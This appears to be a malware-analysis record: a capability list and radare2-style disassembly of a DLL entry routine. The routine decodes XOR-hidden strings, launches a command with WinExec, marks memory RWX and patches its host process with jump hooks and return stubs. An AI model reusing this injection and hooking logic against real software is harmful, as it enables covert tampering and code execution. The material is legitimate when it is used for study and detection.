Function at 0x10009330
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c4
mov eax, dword [0x10026018]
xor eax, esp
mov dword [esp + 0x2c0], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10009c2f
lea eax, [esp + 0xb8]
push eax
push 0x104
mov dword [0x11183a78], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xdf
xor eax, eax
mov dl, byte [eax + 0x10020ea4]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x50], dl
inc eax
and ecx, 0xff
cmp eax, 0x36
jb 0x10009383
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x1c8]
push edx
mov byte [esp + 0x92], bl
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0x54]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
lea ecx, [esp + 0x1c4]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0xbc]
push ebx
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x1c4]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp byte [0x4d1e69], 0xeb
jne 0x1000941a
call fcn.10016550
mov ecx, 0x1f248c67
lea eax, [esp + 0x18]
call fcn.10009d80
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov word [esp + 0x20], ax
mov byte [esp + 0x22], al
mov ecx, 0x5cc79367
lea eax, [esp + 0x44]
call fcn.1000a2e0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], ecx
mov word [esp + 0x4c], cx
call eax
mov byte [0x11183ac6], 1
call fcn.10004250
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x10
mov eax, 0x400000
mov dword [esp + 0x8c], 0xc708c483
mov dword [esp + 0x90], 0xffffff05
mov dword [esp + 0x94], 0x46ff
mov dword [esp + 0x98], 0x68006a00
call fcn.10016450
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
test eax, eax
je 0x10009518
mov edx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea ebx, [esi + edx + 5]
lea eax, [ebx + 0xa]
mov dword [0x10026330], eax
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push ebx
mov dword [0x10026330], edx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
mov ecx, 0x10004340
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call edi
call fcn.10014670
jmp 0x10009541
mov ecx, 0xef
xor eax, eax
nop
mov dl, byte [eax + 0x10020edc]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x88], dl
inc eax
and ecx, 0xff
cmp eax, 0x11
jb 0x10009520
call fcn.10016550
lea eax, [esp + 0x88]
push eax
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x8c], 0xffffffa1
mov dword [esp + 0x90], 0xffffffff
mov dword [esp + 0x94], 0xffff8b32
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0x78ffffff
mov dword [esp + 0xa0], 0x8bffff89
mov word [esp + 0xa4], 0x8ff
mov byte [esp + 0xa6], 0x51
call fcn.10016450
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10009897
mov ecx, dword [eax + 1]
lea edx, [esp + 0x88]
mov byte [esp + 0xa8], bl
push edx
mov ebx, 0x21
mov eax, 0x400000
mov dword [0x11183b10], ecx
mov dword [esp + 0x8c], 0xffffffa1
mov dword [esp + 0x90], 0xffff89ff
mov dword [esp + 0x94], 0x83ffffff
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0xffff02ff
mov dword [esp + 0xa0], 0xffffff83
mov dword [esp + 0xa4], 0x7404ffff
mov dword [esp + 0xa8], 0x6affebff
call fcn.10016450
xor ebx, ebx
add esp, 4
mov dword [0x11183b14], eax
cmp eax, ebx
je 0x10009650
mov eax, dword [eax + 1]
mov dword [0x11183b14], eax
jmp 0x1000969e
mov ecx, 0xba
xor eax, eax
mov dl, byte [eax + 0x10020ef0]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009657
lea eax, [esp + 0x34]
push eax
push ebx
mov ecx, 0x10126530
mov byte [esp + 0x4b], bl
call fcn.1000b4f0
xor eax, eax
add esp, 8
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call fcn.10016550
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x17
mov eax, 0x400000
mov dword [esp + 0x8c], 0x8e68
mov dword [esp + 0x90], 0xc16800
mov dword [esp + 0x94], 0xff8d0000
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0xffffffe8
mov word [esp + 0xa0], 0x6aff
mov byte [esp + 0xa2], 2
call fcn.10016450
mov esi, eax
add esp, 4
test esi, esi
je 0x1000986d
lea edx, [esp + 0x88]
push edx
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x8c], 0xffffffa1
mov dword [esp + 0x90], 0xffffffff
mov dword [esp + 0x94], 0xffff8b32
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0x78ffffff
mov dword [esp + 0xa0], 0x8bffff89
mov word [esp + 0xa4], 0x8ff
mov byte [esp + 0xa6], 0x51
call fcn.10016450
add esp, 4
mov dword [0x11183a6c], eax
test eax, eax
je 0x1000978c
mov eax, dword [eax + 0xb]
mov dword [0x11183a6c], eax
jmp 0x100097b4
mov ecx, 0x67
xor eax, eax
mov dl, byte [eax + str.4__58]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x88], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10009793
call fcn.10016550
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + eax + 0x57]
lea eax, [esi + eax + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x11183a64], ecx
add ecx, 0x2d
mov dword [0x11183a60], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x11183a60], ecx
mov edx, dword [eax + 0x26]
mov dword [0x11183a68], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10026340], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026340], ecx
lea ecx, [eax + 0x21]
mov dword [0x10026334], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026334], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10026338], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026338], ecx
lea ecx, [eax + 0x42]
mov dword [0x1002633c], ecx
mov edx, dword [ecx + 1]
mov dword [0x1053159c], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x10026344], eax
mov dword [0x1002633c], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x10026344], eax
mov dword [0x11183b18], 0x10004c10
jmp 0x100098e7
mov ecx, 0x72
xor eax, eax
mov dl, byte [eax + 0x10020f14]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x88], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10009874
call fcn.10016550
jmp 0x100098e7
mov ecx, 0x82
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x10020f30]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x100098a0
lea eax, [esp + 0x24]
push eax
push ebx
mov ecx, 0x10126530
mov byte [esp + 0x3b], bl
call fcn.1000b4f0
xor eax, eax
add esp, 8
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.10016550
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x30
mov eax, 0x400000
mov dword [esp + 0x8c], 0xffe8c88b
mov dword [esp + 0x90], 0xe8ffffff
mov dword [esp + 0x94], 0xffffffff
mov dword [esp + 0x98], 0xffffffe8
mov dword [esp + 0x9c], 0xffffe8ff
mov dword [esp + 0xa0], 0xffe8ffff
mov dword [esp + 0xa4], 0xe8ffffff
mov dword [esp + 0xa8], 0xffffffff
mov dword [esp + 0xac], 0xffffffe8
mov dword [esp + 0xb0], 0xffffe8ff
mov dword [esp + 0xb4], 0x1b0ffff
mov dword [esp + 0xb8], 0xc35de58b
call fcn.10016450
add esp, 4
mov dword [0x10130f3c], eax
test eax, eax
je 0x100099db
lea edx, [eax + 0x20]
lea esi, [eax + 0x1b]
mov eax, esi
mov dword [0x101314ec], eax
mov dword [0x10531590], edx
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push esi
mov dword [0x101314ec], edx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
mov ecx, 0x10004d60
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
call edi
jmp 0x100099e0
call fcn.10016550
mov esi, dword [0x11183a64]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x76
push esi
call edi
push 0x76
push 0xc3
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push eax
push 0x76
push esi
call edi
mov esi, dword [0x1053159c]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x1e0
push esi
call edi
push 0x1e0
push 0xc3
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push eax
push 0x1e0
push esi
call edi
mov esi, dword [0x11183a68]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x33
push esi
call edi
push 0x33
push 0xc3
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push eax
push 0x33
push esi
call edi
mov esi, dword [0x11183a68]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 5
push esi
call edi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
mov edx, 0x100049c0
sub edx, esi
push 5
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
push 0x400000
push 0
push 0x10131590
call sub.MSVCR100.dll_memset
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x400000
push 0x10131590
push 0x400000
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
xor eax, eax
jmp 0x10009af0
mov dl, byte [eax + 0x10131590]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10131590], dl
inc eax
cmp eax, 0x400000
jb 0x10009af0
push 0xa0
push 0
push 0x101314f0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x101314f0
push 0x100049c0
call esi
push eax
call edi
xor eax, eax
jmp 0x10009b40
mov cl, byte [eax + 0x101314f0]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101314f0], cl
inc eax
cmp eax, 0xa0
jb 0x10009b40
push 0x7c
push 0
push 0x10131470
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10131470
push fcn.10004440
call esi
push eax
call edi
xor eax, eax
mov dl, byte [eax + 0x10131470]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10131470], dl
inc eax
cmp eax, 0x7c
jb 0x10009b80
push 0x52f
push 0
push 0x10130f40
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x10130f40
push fcn.100044c0
call esi
push eax
call edi
xor eax, eax
mov cl, byte [eax + 0x10130f40]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130f40], cl
inc eax
cmp eax, 0x52f
jb 0x10009bc4
push 0xc8
push 0
push 0x10130e70
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xc8
push 0x10130e70
push 0x1000e830
call esi
push eax
call edi
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10130e70]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130e70], dl
inc eax
cmp eax, 0xc8
jb 0x10009c10
call fcn.10011ed0
mov ecx, dword [esp + 0x2cc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10019826
mov esp, ebp
pop ebp
ret 0xc